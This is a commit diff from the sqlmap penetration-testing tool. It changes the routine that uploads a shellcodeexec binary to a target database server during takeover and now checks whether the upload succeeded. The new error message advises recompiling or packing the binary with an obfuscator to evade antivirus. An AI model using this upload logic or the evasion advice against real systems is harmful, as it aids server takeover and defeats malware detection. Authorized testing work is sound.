Skip to content

Commit 261db6e

Browse files
committed
working on sqlmapproject#396 - verify shellcodeexec executable has been properly uploaded
1 parent 4d5ecc3 commit 261db6e

1 file changed

Lines changed: 18 additions & 7 deletions

File tree

lib/takeover/metasploit.py

Lines changed: 18 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -585,19 +585,30 @@ def uploadShellcodeexec(self, web=False):
585585

586586
__basename = "tmpse%s%s" % (self._randStr, ".exe" if Backend.isOs(OS.WINDOWS) else "")
587587

588-
if web:
589-
self.shellcodeexecRemote = "%s/%s" % (self.webDirectory, __basename)
590-
else:
591-
self.shellcodeexecRemote = "%s/%s" % (conf.tmpPath, __basename)
592-
588+
self.shellcodeexecRemote = "%s/%s" % (conf.tmpPath, __basename)
593589
self.shellcodeexecRemote = ntToPosixSlashes(normalizePath(self.shellcodeexecRemote))
594590

595591
logger.info("uploading shellcodeexec to '%s'" % self.shellcodeexecRemote)
596592

597593
if web:
598-
self.webUpload(self.shellcodeexecRemote, self.webDirectory, filepath=self.shellcodeexecLocal)
594+
written = self.webUpload(self.shellcodeexecRemote, os.path.split(self.shellcodeexecRemote)[0], filepath=self.shellcodeexecLocal)
595+
else:
596+
written = self.writeFile(self.shellcodeexecLocal, self.shellcodeexecRemote, "binary", forceCheck=True)
597+
598+
if written is not True:
599+
errMsg = "there has been a problem uploading shellcodeexec, it "
600+
errMsg += "looks like the binary file has not been written "
601+
errMsg += "on the database underlying file system or an AV has "
602+
errMsg += "flagged it as malicious and removed it. In such a case "
603+
errMsg += "it is recommended to recompile shellcodeexec with "
604+
errMsg += "slight modification to the source code or pack it "
605+
errMsg += "with an obfuscator software"
606+
logger.error(errMsg)
607+
608+
return False
599609
else:
600-
self.writeFile(self.shellcodeexecLocal, self.shellcodeexecRemote, "binary")
610+
logger.info("shellcodeexec successfully uploaded")
611+
return True
601612

602613
def pwn(self, goUdf=False):
603614
if goUdf:

0 commit comments

Comments
 (0)